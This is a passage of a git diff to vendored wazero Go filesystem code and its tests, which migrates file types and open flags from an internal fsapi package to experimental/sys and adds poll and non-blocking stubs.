@@ -141,35 +142,35 @@ func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Dev implements the same method as documented on fsapi.File +// Dev implements the same method as documented on sys.File func (f *fsFile) Dev() (uint64, experimentalsys.Errno) { dev, _, _, errno := f.cachedStat() return dev, errno } -// Ino implements the same method as documented on fsapi.File +// Ino implements the same method as documented on sys.File func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) { _, ino, _, errno := f.cachedStat() return ino, errno } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (f *fsFile) IsDir() (bool, experimentalsys.Errno) { _, _, isDir, errno := f.cachedStat() return isDir, errno } -// IsAppend implements the same method as documented on fsapi.File +// IsAppend implements the same method as documented on sys.File func (f *fsFile) IsAppend() bool { return false } -// SetAppend implements the same method as documented on fsapi.File +// SetAppend implements the same method as documented on sys.File func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) { return fileError(f, f.closed, experimentalsys.ENOSYS) } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { return sys.Stat_t{}, experimentalsys.EBADF @@ -185,7 +186,7 @@ func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return st, errno } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if n, errno = read(f.file, buf); errno != 0 { // Defer validation overhead until we've already had an error. @@ -194,7 +195,7 @@ func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pread implements the same method as documented on fsapi.File +// Pread implements the same method as documented on sys.File func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if ra, ok := f.file.(io.ReaderAt); ok { if n, errno = pread(ra, buf, off); errno != 0 { @@ -233,7 +234,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn return } -// Seek implements the same method as documented on fsapi.File +// Seek implements the same method as documented on sys.File func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { // If this is a directory, and we're attempting to seek to position zero, // we have to re-open the file to ensure the directory state is reset. @@ -256,12 +257,12 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// Readdir implements the same method as documented on fsapi.File +// Readdir implements the same method as documented on sys.File // // Notably, this uses readdirFile or fs.ReadDirFile if available. This does not // return inodes on windows. -func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { - // Windows lets you Readdir after close, fs.File also may not implement +func (f *fsFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + // Windows lets you Readdir after close, FS.File also may not implement // close in a meaningful way. read our closed field to return consistent // results. if f.closed { @@ -277,7 +278,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E } if of, ok := f.file.(readdirFile); ok { - // We can't use f.name here because it is the path up to the fsapi.FS, + // We can't use f.name here because it is the path up to the sys.FS, // not necessarily the real path. For this reason, Windows may not be // able to populate inodes. However, Darwin and Linux will. if dirents, errno = readdir(of, "", n); errno != 0 { @@ -286,17 +287,17 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } - // Try with fs.ReadDirFile which is available on api.FS implementations - // like embed:fs. + // Try with FS.ReadDirFile which is available on api.FS implementations + // like embed:FS. if rdf, ok := f.file.(fs.ReadDirFile); ok { entries, e := rdf.ReadDir(n) if errno = adjustReaddirErr(f, f.closed, e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(entries)) + dirents = make([]experimentalsys.Dirent, 0, len(entries)) for _, e := range entries { // By default, we don't attempt to read inode data - dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: e.Name(), Type: e.Type()}) } } else { errno = experimentalsys.EBADF // not a directory @@ -304,7 +305,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } -// Write implements the same method as documented on fsapi.File. +// Write implements the same method as documented on sys.File. func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if w, ok := f.file.(io.Writer); ok { if n, errno = write(w, buf); errno != 0 { @@ -317,7 +318,7 @@ func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pwrite implements the same method as documented on fsapi.File. +// Pwrite implements the same method as documented on sys.File. func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if wa, ok := f.file.(io.WriterAt); ok { if n, errno = pwrite(wa, buf, off); errno != 0 { @@ -330,7 +331,7 @@ func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err return } -// Close implements the same method as documented on fsapi.File. +// Close implements the same method as documented on sys.File. func (f *fsFile) Close() experimentalsys.Errno { if f.closed { return 0 @@ -343,8 +344,23 @@ func (f *fsFile) close() experimentalsys.Errno { return experimentalsys.UnwrapOSError(f.file.Close()) } +// IsNonblock implements the same method as documented on fsapi.File +func (f *fsFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *fsFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (f *fsFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} + // dirError is used for commands that work against a directory, but not a file. -func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { +func dirError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, false, true); vErrno != 0 { return vErrno } @@ -352,7 +368,7 @@ func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experime } // fileError is used for commands that work against a file, but not a directory. -func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { +func fileError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, true, false); vErrno != 0 { return vErrno } @@ -360,7 +376,7 @@ func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experim } // validate is used to making syscalls which will fail. -func validate(f fsapi.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { +func validate(f experimentalsys.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { if isClosed { return experimentalsys.EBADF } @@ -426,13 +442,13 @@ type readdirFile interface { } // readdir uses readdirFile.Readdir, special casing windows when path !="". -func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { +func readdir(f readdirFile, path string, n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { fis, e := f.Readdir(n) if errno = experimentalsys.UnwrapOSError(e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(fis)) + dirents = make([]experimentalsys.Dirent, 0, len(fis)) // linux/darwin won't have to fan out to lstat, but windows will. var ino sys.Inode @@ -443,7 +459,7 @@ func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno e if ino, errno = inoFromFileInfo(path, t); errno != 0 { return } - dirents = append(dirents, fsapi.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) } return } @@ -465,3 +481,40 @@ func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys. n, err := w.WriteAt(buf, off) return n, experimentalsys.UnwrapOSError(err) } + +func chtimes(path string, atim, mtim int64) (errno experimentalsys.Errno) { //nolint:unused + // When both inputs are omitted, there is nothing to change. + if atim == experimentalsys.UTIME_OMIT && mtim == experimentalsys.UTIME_OMIT { + return + } + + // UTIME_OMIT is expensive until progress is made in Go, as it requires a + // stat to read-back the value to re-apply. + // - https://github.com/golang/go/issues/32558. + // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) + var st sys.Stat_t + if atim == experimentalsys.UTIME_OMIT || mtim == experimentalsys.UTIME_OMIT { + if st, errno = stat(path); errno != 0 { + return + } + } + + var atime, mtime time.Time + if atim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(st.Atim) + mtime = epochNanosToTime(mtim) + } else if mtim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(st.Mtim) + } else { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(mtim) + } + return experimentalsys.UnwrapOSError(os.Chtimes(path, atime, mtime)) +} + +func epochNanosToTime(epochNanos int64) time.Time { //nolint:unused + seconds := epochNanos / 1e9 + nanos := epochNanos % 1e9 + return time.Unix(seconds, nanos) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go index 6023fa9b76..1b97eb860a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go @@ -9,7 +9,6 @@ import ( "runtime" "testing" gofstest "testing/fstest" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -54,7 +53,7 @@ func TestRegularFileSetNonblock(t *testing.T) { defer r.Close() defer w.Close() - rF := newOsFile("", fsapi.O_RDONLY, 0, r) + rF := newOsFile("", experimentalsys.O_RDONLY, 0, r) errno := rF.SetNonblock(true) require.EqualErrno(t, 0, errno) @@ -78,13 +77,13 @@ func TestReadFdNonblock(t *testing.T) { defer w.Close() fd := r.Fd() - err = setNonblock(fd, true) - require.NoError(t, err) + errno := setNonblock(fd, true) + require.EqualErrno(t, 0, errno) // Read from the file without ever writing to it should not block. buf := make([]byte, 8) - _, e := readFd(fd, buf) - require.EqualErrno(t, experimentalsys.EAGAIN, e) + _, errno = readFd(fd, buf) + require.EqualErrno(t, experimentalsys.EAGAIN, errno) } func TestWriteFdNonblock(t *testing.T) { @@ -95,9 +94,9 @@ func TestWriteFdNonblock(t *testing.T) { defer w.Close() fd := w.Fd() - err = setNonblock(fd, true) + errno := setNonblock(fd, true) - require.NoError(t, err) + require.EqualErrno(t, 0, errno) // Create a buffer (the content is not relevant) buf := make([]byte, 1024) @@ -125,7 +124,7 @@ func TestFileSetAppend(t *testing.T) { require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600)) // Open without APPEND. - f, errno := OpenOSFile(fPath, fsapi.O_RDWR, 0o600) + f, errno := OpenOSFile(fPath, experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) require.False(t, f.IsAppend()) @@ -186,7 +185,7 @@ func TestFileIno(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -200,7 +199,7 @@ func TestFileIno(t *testing.T) { } t.Run("OS", func(t *testing.T) { - d, errno := OpenOSFile(tmpDir, fsapi.O_RDONLY, 0) + d, errno := OpenOSFile(tmpDir, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -213,7 +212,7 @@ func TestFileIno(t *testing.T) { }) } -// statSetsIno returns true if this will set fsapi.Stat_t Ino on stat. The +// statSetsIno returns true if this will set sys.Stat_t Ino on stat. The // reverse doesn't mean it won't. Rather it is inconsistent. This is needed // because Windows on Go 1.18 sometimes, but not always returns non-zero inode. func statSetsIno() bool { @@ -244,7 +243,7 @@ func TestFileIsDir(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Run("file", func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -254,7 +253,7 @@ func TestFileIsDir(t *testing.T) { }) t.Run("dir", func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -266,7 +265,7 @@ func TestFileIsDir(t *testing.T) { } t.Run("OS dir", func(t *testing.T) { - d, errno := OpenOSFile(t.TempDir(), fsapi.O_RDONLY, 0) + d, errno := OpenOSFile(t.TempDir(), experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -294,7 +293,7 @@ func TestFileReadAndPread(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -320,7 +319,9 @@ func TestFileReadAndPread(t *testing.T) { } } -func TestFilePollRead(t *testing.T) { +func TestFilePoll_POLLIN(t *testing.T) { + pflag := fsapi.POLLIN + // Test using os.Pipe as it is known to support poll. r, w, err := os.Pipe() require.NoError(t, err) @@ -330,10 +331,10 @@ func TestFilePollRead(t *testing.T) { rF, err := NewStdioFile(true, r) require.NoError(t, err) buf := make([]byte, 10) - timeout := time.Duration(0) // return immediately + timeout := int32(0) // return immediately // When there's nothing in the pipe, it isn't ready. - ready, errno := rF.PollRead(&timeout) + ready, errno := rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.False(t, ready) @@ -343,7 +344,7 @@ func TestFilePollRead(t *testing.T) { require.NoError(t, err) // We should now be able to poll ready - ready, errno = rF.PollRead(&timeout) + ready, errno = rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.True(t, ready) @@ -354,13 +355,32 @@ func TestFilePollRead(t *testing.T) { require.Equal(t, expected, buf[:len(expected)]) } -func requireRead(t *testing.T, f fsapi.File, buf []byte) { +func TestFilePoll_POLLOUT(t *testing.T) { + pflag := fsapi.POLLOUT + + // Test using os.Pipe as it is known to support poll. + r, w, err := os.Pipe() + require.NoError(t, err) + defer r.Close() + defer w.Close() + + wF, err := NewStdioFile(false, w) + require.NoError(t, err) + timeout := int32(0) // return immediately + + // We don't yet implement write blocking. + ready, errno := wF.Poll(pflag, timeout) + require.EqualErrno(t, experimentalsys.ENOTSUP, errno) + require.False(t, ready) +} + +func requireRead(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Read(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePread(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePread(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pread(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) @@ -384,7 +404,7 @@ func TestFileRead_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -417,7 +437,7 @@ func TestFilePread_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -431,20 +451,20 @@ func TestFileRead_Errors(t *testing.T) { path := path.Join(t.TempDir(), emptyFile) // Open the file write-only - flag := fsapi.O_WRONLY | fsapi.O_CREAT + flag := experimentalsys.O_WRONLY | experimentalsys.O_CREAT f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := make([]byte, 5) tests := []struct { name string - fn func(fsapi.File) experimentalsys.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Read", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Read", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Read(buf) return errno }}, - {name: "Pread", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Pread", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pread(buf, 0) return errno }}, @@ -470,19 +490,19 @@ func TestFileSeek(t *testing.T) { tests := []struct { name string - openFile func(string) (fsapi.File, experimentalsys.Errno) + openFile func(string) (experimentalsys.File, experimentalsys.Errno) }{ - {name: "fsFile os.DirFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(dirFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile os.DirFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(dirFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "fsFile embed.api.FS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(embedFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile embed.api.FS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(embedFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "fsFile fstest.MapFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(mapFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile fstest.MapFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(mapFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "osFile", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenOSFile(path.Join(tmpDir, name), fsapi.O_RDONLY, 0o666) + {name: "osFile", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenOSFile(path.Join(tmpDir, name), experimentalsys.O_RDONLY, 0o666) }}, } @@ -560,7 +580,7 @@ func TestFileSeek(t *testing.T) { require.Equal(t, direntCount, len(dirents)) }) - seekToZero := func(f fsapi.File) experimentalsys.Errno { + seekToZero := func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Seek(0, io.SeekStart) return errno } @@ -569,7 +589,7 @@ func TestFileSeek(t *testing.T) { } } -func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 { +func requireSeek(t *testing.T, f experimentalsys.File, off int64, whence int) int64 { n, errno := f.Seek(off, whence) require.EqualErrno(t, 0, errno) return n @@ -591,7 +611,7 @@ func TestFileSeek_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -614,7 +634,7 @@ func TestFileSeek_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -623,10 +643,10 @@ func TestFileSeek_Unsupported(t *testing.T) { } func TestFileWriteAndPwrite(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), wazeroFile) - f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() text := "wazero" @@ -663,36 +683,36 @@ func TestFileWriteAndPwrite(t *testing.T) { require.Equal(t, "wazerowazeroero", string(b)) } -func requireWrite(t *testing.T, f fsapi.File, buf []byte) { +func requireWrite(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Write(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePwrite(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePwrite(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pwrite(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } func TestFileWrite_empty(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), emptyFile) - f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, experimentalsys.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite from zero", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, - {name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite from 3", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 3) }}, } @@ -719,19 +739,19 @@ func TestFileWrite_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - // Use fsapi.O_RDWR so that it fails due to type not flags - f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, fsapi.O_RDWR, 0) + // Use sys.O_RDWR so that it fails due to type not flags + f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, experimentalsys.O_RDWR, 0) require.EqualErrno(t, 0, errno) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, experimentalsys.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, } @@ -756,20 +776,20 @@ func TestFileWrite_Errors(t *testing.T) { require.NoError(t, of.Close()) // Open the file read-only - flag := fsapi.O_RDONLY + flag := experimentalsys.O_RDONLY f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := []byte("wazero") tests := []struct { name string - fn func(fsapi.File) experimentalsys.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Write", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Write", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Write(buf) return errno }}, - {name: "Pwrite", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Pwrite", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pwrite(buf, 0) return errno }}, @@ -790,30 +810,30 @@ func TestFileWrite_Errors(t *testing.T) { } func TestFileSync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Sync) + testSync_NoError(t, experimentalsys.File.Sync) } func TestFileDatasync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Datasync) + testSync_NoError(t, experimentalsys.File.Datasync) } -func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { +func testSync_NoError(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { roPath := "file_test.go" - ro, errno := OpenFSFile(embedFS, roPath, fsapi.O_RDONLY, 0) + ro, errno := OpenFSFile(embedFS, roPath, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer ro.Close() rwPath := path.Join(t.TempDir(), "datasync") - rw, errno := OpenOSFile(rwPath, fsapi.O_CREAT|fsapi.O_RDWR, 0o600) + rw, errno := OpenOSFile(rwPath, experimentalsys.O_CREAT|experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) defer rw.Close() tests := []struct { name string - f fsapi.File + f experimentalsys.File }{ - {name: "UnimplementedFile", f: fsapi.UnimplementedFile{}}, - {name: "File of read-only fs.File", f: ro}, + {name: "UnimplementedFile", f: experimentalsys.UnimplementedFile{}}, + {name: "File of read-only FS.File", f: ro}, {name: "File of os.File", f: rw}, } @@ -827,20 +847,20 @@ func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) } func TestFileSync(t *testing.T) { - testSync(t, fsapi.File.Sync) + testSync(t, experimentalsys.File.Sync) } func TestFileDatasync(t *testing.T) { - testSync(t, fsapi.File.Datasync) + testSync(t, experimentalsys.File.Datasync) } // testSync doesn't guarantee sync works because the operating system may // sync anyway. There is no test in Go for syscall.Fdatasync, but closest is // similar to below. Effectively, this only tests that things don't error. -func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { +func testSync(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { // Even though it is invalid, try to sync a directory dPath := t.TempDir() - d := requireOpenFile(t, dPath, fsapi.O_RDONLY, 0) + d := requireOpenFile(t, dPath, experimentalsys.O_RDONLY, 0) defer d.Close() errno := sync(d) @@ -848,7 +868,7 @@ func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { fPath := path.Join(dPath, t.Name()) - f := requireOpenFile(t, fPath, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, fPath, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() expected := "hello world!" @@ -929,7 +949,7 @@ func TestFileTruncate(t *testing.T) { }) } - truncateToZero := func(f fsapi.File) experimentalsys.Errno { + truncateToZero := func(f experimentalsys.File) experimentalsys.Errno { return f.Truncate(0) } @@ -965,11 +985,11 @@ func TestFileUtimens(t *testing.T) { testUtimens(t, true) - testEBADFIfFileClosed(t, func(f fsapi.File) experimentalsys.Errno { - return f.Utimens(nil) + testEBADFIfFileClosed(t, func(f experimentalsys.File) experimentalsys.Errno { + return f.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) - testEBADFIfDirClosed(t, func(d fsapi.File) experimentalsys.Errno { - return d.Utimens(nil) + testEBADFIfDirClosed(t, func(d experimentalsys.File) experimentalsys.Errno { + return d.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) } @@ -997,7 +1017,7 @@ func TestNewStdioFile(t *testing.T) { tests := []struct { name string - f fsapi.File + f experimentalsys.File // Depending on how the tests run, os.Stdin won't necessarily be a char // device. We compare against an os.File, to account for this. expectedType fs.FileMode @@ -1042,9 +1062,9 @@ func TestNewStdioFile(t *testing.T) { } } -func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEBADFIfDirClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if dir closed", func(t *testing.T) { - d := requireOpenFile(t, t.TempDir(), fsapi.O_RDONLY, 0o755) + d := requireOpenFile(t, t.TempDir(), experimentalsys.O_RDONLY, 0o755) // close the directory underneath require.EqualErrno(t, 0, d.Close()) @@ -1053,7 +1073,7 @@ func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errn }) } -func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEBADFIfFileClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if file closed", func(t *testing.T) { tmpDir := t.TempDir() @@ -1066,24 +1086,24 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Err }) } -func testEISDIR(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEISDIR(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EISDIR if directory", func(t *testing.T) { - f := requireOpenFile(t, os.TempDir(), fsapi.O_RDONLY|fsapi.O_DIRECTORY, 0o666) + f := requireOpenFile(t, os.TempDir(), experimentalsys.O_RDONLY|experimentalsys.O_DIRECTORY, 0o666) defer f.Close() require.EqualErrno(t, experimentalsys.EISDIR, fn(f)) }) } -func openForWrite(t *testing.T, path string, content []byte) fsapi.File { +func openForWrite(t *testing.T, path string, content []byte) experimentalsys.File { require.NoError(t, os.WriteFile(path, content, 0o0666)) - f := requireOpenFile(t, path, fsapi.O_RDWR, 0o666) + f := requireOpenFile(t, path, experimentalsys.O_RDWR, 0o666) _, errno := f.Write(content) require.EqualErrno(t, 0, errno) return f } -func requireOpenFile(t *testing.T, path string, flag fsapi.Oflag, perm fs.FileMode) fsapi.File { +func requireOpenFile(t *testing.T, path string, flag experimentalsys.Oflag, perm fs.FileMode) experimentalsys.File { f, errno := OpenOSFile(path, flag, perm) require.EqualErrno(t, 0, errno) return f diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go index 4ed51a9fe9..f56439e081 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go @@ -13,6 +13,11 @@ const ( nonBlockingFileWriteSupported = true ) +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return 